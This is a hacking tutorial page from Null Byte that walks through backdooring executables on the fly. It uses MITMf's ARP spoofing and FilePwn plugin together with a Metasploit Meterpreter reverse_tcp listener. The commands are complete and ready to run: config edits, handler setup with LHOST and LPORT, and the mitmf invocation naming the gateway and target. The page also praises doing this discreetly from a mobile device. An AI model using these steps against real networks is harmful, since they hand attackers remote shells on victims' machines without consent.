Backdooring on the Fly with MITMf « Null Byte :: WonderHowTo

Do you remembermy last articleon how to hook any web browser with MITMf and BeEF? Well, we are using the tool once again, but this time for auto-backdooring....How It WorksMITMf (if you don't already know) is a man in the middle attack framwork. MITMf literally stands for "Man In The Middle framework." It includes many, many different tools to help you with MitM attacks. In this case, we are automatically backdooring every downloaded executable for one specific machine. Cool, eh?We will be ARP spoofing aWindows 8.1VM machine in this test.Note: This only works for HTTP sites, so you might want to use SSLstrip+ for any HTTPS sites.RequirementsImage viaytimg.comYou will only need MITMf and Metasploit for this attack. You can download it from either the aptitude repository (apt-get install mitmf), or through the GitHub repository (git clonehttps://github.com/byt3bl33d3r/MITMf).If you choose to install via the apt, remember to runapt-get updatefirst.Metasploit is build-in to Kali.Step 1: Editing the ConfigurationsNow that we have MITMf installed, we need to edit the config files to match our system. We will edit the config file located in/usr/share/mitmf/config/mitmf.cfg.Scroll down until you get to the FilePwn section.You can see that under theCompressedFilessection, there is a configuration for many useful payloads. Set theHOSTvariable to match your IP, but don't change the port. Just remember the port number for the payload you want to use.Step 2: Selecting the TargetWhen we run MITMf with FilePwn, we want to listen for the payload specific to the target OS. In this case, I'm targeting a Windows 8.1 machine, so I would useWindowsIntelx86. The port number for that is 8443. Remember your payload's port number for later.Step 3: Set Up a ListenerWe're going to be using Metasploit as our payload listener. Typeuse multi/handlerand then set your payload. in this case, I'm using Meterpreter.set PAYLOAD windows/meterpreter/reverse_tcpSet the LHOST and LPORT options...set LHOST 10.0.2.117set LPORT 8443(Make sure you set the corresponding port number!)Thenexploit -j. Open up a new terminal...Step 4: Running the AttackTo run the attack, use the following command:mitmf --spoof --arp -i <interface> --gateway <gateway IP> --target <target IP> --filepwnFor me it would be:mitmf --spoof --arp -i wlan0 --gateway 10.0.2.1 --target 10.0.2.15 --filepwnPretty soon you should be getting output like this:If a user downloads a file, and the file is patchable. you should get some output saying "File patched successfully. Sending to target." if it successfully backdoored. As soon as the victim opens the file, you should get a Meterpreter prompt.If it doesn't say it's patched, it can't be. Unfortunately, this tactic doesn't work 100% of the time.ConclusionNow we know how to run a very neat trick--backdooring on the fly. This gets even better if you do this via mobile, as you will beverydiscrete. Don't abuse this power. As said in the help menu for MITMf quoting Yoda, "Use wisely, young padawan."C|H of C3NOTE: This had been sitting in my drafts for a month now. I've been waiting to post this for a long time.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hook Web Browsers with MITMf and BeEFHacking Pranks:How to Flip Photos, Change Images & Inject Messages into Friends' Browsers on Your Wi-Fi NetworkHow To:Defeating HSTS and Bypassing HTTPS with DNS Server Changes and MITMfHow To:Inject Payload into Softwares via HTTPHow To:Make a Fully Undetected Backdoored ProgramHow To:Execute the Human Fly SwatNews:The Fly TrapNews:4 Flies on Grey VelvetNews:Electric Fly Swatter TagNews:News Clips - June 8How To:Get the 'Almost Flying' Achievement in Assassin's Creed RevelationsNews:Flying Spaghetti Monster StatueInsect Photography Challenge:Luna MothNews:Getting To Bocas del Toro, PanamaNews:The Fly (Cronenberg)News:Terror suspect's eye color? Flying cameras to spy during OlympicsNews:Flying Time Machine from the movie "Back to the Future"Insect Photography Challenge:Red Flying BugAction Shot Challenge:flyingLevitation Challenge:Flying